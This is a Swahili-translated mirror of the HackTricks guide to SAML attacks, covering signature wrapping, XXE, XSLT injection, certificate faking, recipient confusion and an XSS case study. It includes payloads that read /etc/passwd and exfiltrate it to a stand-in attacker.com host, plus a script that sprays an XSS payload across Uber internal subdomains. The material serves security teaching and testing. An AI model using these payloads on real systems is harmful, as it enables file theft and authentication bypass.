mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
312 lines
19 KiB
Markdown
312 lines
19 KiB
Markdown
# Mashambulizi ya SAML
|
|
|
|
## Mashambulizi ya SAML
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
## Taarifa Msingi
|
|
|
|
{% content-ref url="saml-basics.md" %}
|
|
[saml-basics.md](saml-basics.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Zana
|
|
|
|
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Zana ambayo inaweza kuchukua URL au orodha ya URL na kutoa nyuma URL ya matumizi ya SAML.
|
|
|
|
## Mzunguko wa XML
|
|
|
|
Katika XML sehemu iliyosainiwa ya XML inahifadhiwa kumbukumbu, kisha uandishi wa nambari/uchambuzi unafanywa na saini huchunguzwa. Kimsingi uandishi wa nambari/uchambuzi huo haipaswi kubadilisha data lakini kulingana na hali hiyo, **data inayochunguzwa na data ya awali zinaweza kutofautiana**.
|
|
|
|
Kwa mfano, angalia nambari ifuatayo:
|
|
```ruby
|
|
require 'rexml/document'
|
|
|
|
doc = REXML::Document.new <<XML
|
|
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
|
<X>
|
|
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
|
</X>
|
|
XML
|
|
|
|
puts "First child in original doc: " + doc.root.elements[1].name
|
|
doc = REXML::Document.new doc.to_s
|
|
puts "First child after round-trip: " + doc.root.elements[1].name
|
|
```
|
|
Kukimbia programu dhidi ya REXML 3.2.4 au matoleo mapema kutatoa matokeo yafuatayo badala yake:
|
|
```
|
|
First child in original doc: Y
|
|
First child after round-trip: Z
|
|
```
|
|
Hivi ndivyo REXML ilivyotazama hati ya XML ya asili kutoka kwa programu hapo juu:
|
|
|
|
.png>)
|
|
|
|
Na hivi ndivyo ilivyotazama baada ya duru moja ya upambanuzi na ufuatiliaji:
|
|
|
|
.png>)
|
|
|
|
Kwa habari zaidi kuhusu udhaifu na jinsi ya kuitumia:
|
|
|
|
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
|
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
|
|
|
## Mashambulizi ya Kusainiwa kwa XML (XML Signature Wrapping Attacks)
|
|
|
|
Katika **mashambulizi ya Kusainiwa kwa XML (XSW)**, wadukuzi hutumia udhaifu unaojitokeza wakati hati za XML zinapopitishwa kupitia hatua mbili tofauti: **uthibitishaji wa saini** na **wito wa kazi**. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa usahihi, muhusika **huweka vipengele vilivyopigwa** ambavyo havidhoofishi uhalali wa Saini ya XML. Udanganyifu huu unalenga kuleta tofauti kati ya vipengele vinavyochambuliwa na **mantiki ya programu** na vile vilivyothibitishwa na **moduli ya uthibitishaji wa saini**. Kama matokeo, ingawa Saini ya XML inabaki kuwa halali kiufundi na kupita uthibitishaji, mantiki ya programu inachakata **vipengele vya udanganyifu**. Kwa hivyo, muhusika kimsingi anapita kinga ya **ulinzi wa uadilifu** na **uthibitisho wa asili** wa Saini ya XML, kuruhusu **uingizaji wa yaliyomo ya kupendelea** bila kugunduliwa.
|
|
|
|
Mashambulizi yafuatayo yanategemea [**chapisho hili la blogi**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **na** [**karatasi hii**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Kwa hivyo angalia hizo kwa maelezo zaidi.
|
|
|
|
### XSW #1
|
|
|
|
* **Mbinu**: Kipengele kipya cha msingi kinachojumuisha saini huongezwa.
|
|
* **Athari**: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu -> Kuthibitisha -> Mada" halali na "Jibu jipya la uovu -> Kuthibitisha -> Mada", ikisababisha masuala ya uadilifu wa data.
|
|
|
|
.png>)
|
|
|
|
### XSW #2
|
|
|
|
* **Tofauti na XSW #1**: Hutumia saini iliyotengwa badala ya saini iliyofungwa.
|
|
* **Athari**: Muundo wa "ovu", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya ukaguzi wa uadilifu.
|
|
|
|
.png>)
|
|
|
|
### XSW #3
|
|
|
|
* **Mbinu**: Kuthibitisha ovu imeundwa kwenye kiwango sawa cha ierarkia kama kuthibitisha ya asili.
|
|
* **Athari**: Inalenga kuchanganya mantiki ya biashara ili kutumia data ya uovu.
|
|
|
|
.png>)
|
|
|
|
### XSW #4
|
|
|
|
* **Tofauti na XSW #3**: Kuthibitisha ya asili inakuwa mtoto wa Kuthibitisha iliyodurufishwa (ovu).
|
|
* **Athari**: Kama XSW #3 lakini inabadilisha muundo wa XML kwa ukali zaidi.
|
|
|
|
.png>)
|
|
|
|
### XSW #5
|
|
|
|
* **Jambo la Kipekee**: Wala Saini wala Kuthibitisha ya asili hazifuati miundo ya kawaida (iliyofungwa/inayojumuisha/iliyotengwa).
|
|
* **Athari**: Kuthibitisha iliyokopi inajumuisha Saini, ikibadilisha muundo uliotarajiwa wa hati.
|
|
|
|
.png>)
|
|
|
|
### XSW #6
|
|
|
|
* **Mbinu**: Uingizaji wa eneo sawa kama XSW #4 na #5, lakini na mzunguko.
|
|
* **Athari**: Kuthibitisha iliyokopi inajumuisha Saini, ambayo kisha inajumuisha Kuthibitisha ya asili, ikiumba muundo wa udanganyifu ulioingiliana.
|
|
|
|
.png>)
|
|
|
|
### XSW #7
|
|
|
|
* **Mbinu**: Kipengele cha Vipanuzi kinaingizwa na Kuthibitisha iliyokopi kama mtoto.
|
|
* **Athari**: Hii inatumia mpango mdogo wa skimu ya Kipengele cha Vipanuzi kwa kuzidi hatua za kuzuia uthibitishaji wa skimu, hasa katika maktaba kama OpenSAML.
|
|
|
|
.png>)
|
|
|
|
### XSW #8
|
|
|
|
* **Tofauti na XSW #7**: Hutumia kipengele kingine cha XML kilicho na msimamo mdogo kwa toleo la shambulizi.
|
|
* **Athari**: Kuthibitisha ya asili inakuwa mtoto wa kipengele kilicho na msimamo mdogo, ikigeuza muundo uliotumiwa katika XSW #7.
|
|
|
|
.png>)
|
|
|
|
### Zana
|
|
|
|
Unaweza kutumia nyongeza ya Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kuchambua ombi, kutumia shambulizi lolote la XSW unalochagua, na kulizindua.
|
|
|
|
## XXE
|
|
|
|
Ikiwa haujui ni aina gani ya mashambulizi ya XXE, tafadhali soma ukurasa ufuatao:
|
|
|
|
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
|
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
|
{% endcontent-ref %}
|
|
|
|
Majibu ya SAML ni **hati za XML zilizopondwa na zilizofungwa kwa msingi wa base64** na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Majibu ya SAML, wadukuzi wanaweza kujaribu kutumia udhaifu wa XXE. Hapa ndivyo mashambulizi kama hayo yanavyoweza kuonekana:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo ANY >
|
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
|
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
|
<saml:Issuer>...</saml:Issuer>
|
|
<ds:Signature ...>
|
|
<ds:SignedInfo>
|
|
<ds:CanonicalizationMethod .../>
|
|
<ds:SignatureMethod .../>
|
|
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
|
</ds:SignedInfo>
|
|
<ds:SignatureValue>...</ds:SignatureValue>
|
|
[...]
|
|
```
|
|
## Vifaa
|
|
|
|
Unaweza pia kutumia Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kuzalisha POC kutoka ombi la SAML ili kufanya majaribio ya uwezekano wa mashimo ya XXE na mashimo ya SAML.
|
|
|
|
Angalia pia mazungumzo haya: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## XSLT kupitia SAML
|
|
|
|
Kwa habari zaidi kuhusu XSLT endelea kwenye:
|
|
|
|
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
|
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
|
{% endcontent-ref %}
|
|
|
|
Transformations za Lugha ya Mtindo Inayoweza Kupanuliwa (XSLT) zinaweza kutumika kubadilisha hati za XML kuwa miundo mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba **Transformations za XSLT hutekelezwa kabla ya uthibitisho wa saini ya kidijitali**. Hii inamaanisha kwamba shambulio linaweza kuwa na mafanikio hata bila saini halali; saini iliyojisaini au saini isiyofaa ni ya kutosha kuendelea.
|
|
|
|
Hapa unaweza kupata **POC** ya kuchunguza aina hii ya mashimo, kwenye ukurasa wa hacktricks uliotajwa mwanzoni mwa sehemu hii unaweza kupata mizigo ya data.
|
|
```xml
|
|
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
|
...
|
|
<ds:Transforms>
|
|
<ds:Transform>
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="doc">
|
|
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
|
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
|
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
|
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
|
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
</ds:Transform>
|
|
</ds:Transforms>
|
|
...
|
|
</ds:Signature>
|
|
```
|
|
### Zana
|
|
|
|
Unaweza pia kutumia Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) kuzalisha POC kutoka kwa ombi la SAML ili kufanya majaribio ya uwezekano wa XSLT vulnerabilities.
|
|
|
|
Angalia pia mazungumzo haya: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## Kutenga Saini ya XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
|
|
|
**Kutenga Saini ya XML** inachunguza tabia ya utekelezaji wa SAML wakati Kipengele cha Saini haipo. Ikiwa kipengele hiki hakipo, **uthibitisho wa saini huenda usitokee**, ikifanya iwe hatarishi. Inawezekana kufanya majaribio haya kwa kubadilisha maudhui ambayo kawaida huthibitishwa na saini.
|
|
|
|
.png>)
|
|
|
|
### Zana <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
|
|
|
Unaweza pia kutumia Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Kukamata SAML Response na bonyeza `Ondoa Saini`. Kwa kufanya hivyo **vilevile** Vipengele vyote vya Saini vinatolewa.
|
|
|
|
Baada ya saini kuondolewa, ruhusu ombi kuendelea kufikia lengo. Ikiwa Saini haihitajiki na Huduma
|
|
|
|
## Udanganyifu wa Cheti <a href="#certificate-faking" id="certificate-faking"></a>
|
|
|
|
Udanganyifu wa Cheti ni mbinu ya kufanya majaribio ikiwa **Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umesainiwa** na Mtoa Huduma aliyeaminika (IdP). Inahusisha kutumia **cheti kilichojisaini** kusaini SAML Response au Kuthibitisha, ambayo husaidia katika kutathmini mchakato wa uthibitisho wa uaminifu kati ya SP na IdP.
|
|
|
|
### Jinsi ya Kufanya Udanganyifu wa Cheti
|
|
|
|
Hatua zifuatazo zinaelezea mchakato kwa kutumia [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
|
|
|
|
1. Kukamata SAML Response.
|
|
2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kitufe cha `Tuma Cheti kwa SAML Raider Certs`.
|
|
3. Katika kichupo cha Vyeti vya SAML Raider, chagua cheti kilichoingizwa na bonyeza `Hifadhi na Jisaini mwenyewe` ili kuunda nakala iliyojisaini ya cheti cha awali.
|
|
4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya kilichoingizwa kutoka kwenye menyu ya Saini ya XML.
|
|
5. Ondoa saini zilizopo na kitufe cha `Ondoa Saini`.
|
|
6. Saini ujumbe au kuthibitisha na cheti kipya kwa kutumia kitufe cha **`(Re-)Saini Ujumbe`** au **`(Re-)Saini Kuthibitisha`**, kama inavyofaa.
|
|
7. Peleka ujumbe uliosainiwa. Uthibitisho wa mafanikio unaonyesha kwamba SP inakubali ujumbe uliosainiwa na cheti chako kilichojisaini, kufunua mapungufu yanayowezekana katika mchakato wa uthibitisho wa ujumbe wa SAML.
|
|
|
|
## Kuchanganyikiwa kwa Mpokeaji wa Tokeni / Kuchanganyikiwa kwa Lengo la Mtoa Huduma <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
|
|
|
Kuchanganyikiwa kwa Mpokeaji wa Tokeni na Kuchanganyikiwa kwa Lengo la Mtoa Huduma kunahusisha kuangalia ikiwa **Mtoa Huduma anathibitisha ipasavyo mpokeaji anayetarajiwa wa jibu**. Kimsingi, Mtoa Huduma anapaswa kukataa jibu la uthibitisho ikiwa lilikuwa limekusudiwa kwa mtoa huduma tofauti. Elementi muhimu hapa ni **Mpokeaji** ambayo hupatikana ndani ya kipengele cha **SubjectConfirmationData** cha SAML Response. Kipengele hiki hufafanua URL inayoonyesha mahali Ambapo Kuthibitisha lazima itumwe. Ikiwa mpokeaji halisi hailingani na Mtoa Huduma aliyekusudiwa, Kuthibitisha inapaswa kufutwa.
|
|
|
|
#### **Inavyofanya Kazi**
|
|
|
|
Ili shambulio la Kuchanganyikiwa kwa Mpokeaji wa Tokeni wa SAML (SAML-TRC) liwezekane, hali fulani lazima zikutane. Kwanza, lazima kuwepo akaunti halali kwenye Mtoa Huduma (inayoitwa SP-Legit). Pili, Mtoa Huduma uliolengwa (SP-Target) lazima akubali alama kutoka kwa Mtoa Huduma huyo huyo wa Kitambulisho anayehudumia SP-Legit.
|
|
|
|
Mchakato wa shambulio ni wa moja kwa moja chini ya hali hizi. Kikao halisi kinaanzishwa na SP-Legit kupitia Mtoa Huduma wa Kitambulisho ulioshiriki. SAML Response kutoka kwa Mtoa Huduma wa Kitambulisho kwenda SP-Legit inakamatwa. SAML Response iliyokamatwa, ambayo kimsingi ilikuwa imekusudiwa kwa SP-Legit, kisha inaelekezwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa na SP-Target kukubali Kuthibitisha, kutoa ufikiaji wa rasilimali chini ya jina la akaunti linalotumiwa kwa SP-Legit.
|
|
```python
|
|
# Example to simulate interception and redirection of SAML Response
|
|
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
|
"""
|
|
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
|
|
|
Args:
|
|
- saml_response: The SAML Response intercepted (in string format).
|
|
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
|
|
|
Returns:
|
|
- status: Success or failure message.
|
|
"""
|
|
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
|
try:
|
|
# Code to send the SAML Response to SP-Target would go here
|
|
return "SAML Response successfully redirected to SP-Target."
|
|
except Exception as e:
|
|
return f"Failed to redirect SAML Response: {e}"
|
|
```
|
|
## XSS katika kazi ya kujiondoa
|
|
|
|
Utafiti wa awali unaweza kupatikana kupitia [kiungo hiki](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
|
|
|
Wakati wa mchakato wa kufanya nguvu ya kufikia saraka, ukurasa wa kujiondoa uligunduliwa kwenye:
|
|
```
|
|
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
|
```
|
|
Baada ya kufikia kiungo hiki, kumetokea uhamisho kwenda:
|
|
```
|
|
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
|
```
|
|
Hii ilifunua kwamba parameter ya `base` inakubali URL. Kufikiria hili, wazo lilijitokeza la kubadilisha URL na `javascript:alert(123);` kujaribu kuanzisha shambulio la XSS (Cross-Site Scripting).
|
|
|
|
### Uteketezaji wa Wingi
|
|
|
|
[Kutoka kwenye utafiti huu](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
|
|
|
Zana ya [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) ilitumika kuchambua subdomains za `uberinternal.com` kwa udomauni unaoitumia maktaba ile ile. Baadaye, script ilibuniwa kushambulia ukurasa wa `oidauth/prompt`. Script hii huchunguza XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia ikiwa inaonekana kwenye matokeo. Katika kesi ambapo data inaonekana, script huitambua ukurasa kama una kasoro.
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
from colorama import init ,Fore, Back, Style
|
|
init()
|
|
|
|
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|
for url in urlList:
|
|
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
|
request = requests.get(url2, allow_redirects=True,verify=False)
|
|
doesit = Fore.RED + "no"
|
|
if ("Fady" in request.content):
|
|
doesit = Fore.GREEN + "yes"
|
|
print(Fore.WHITE + url2)
|
|
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
|
```
|
|
## Marejeo
|
|
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
|
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|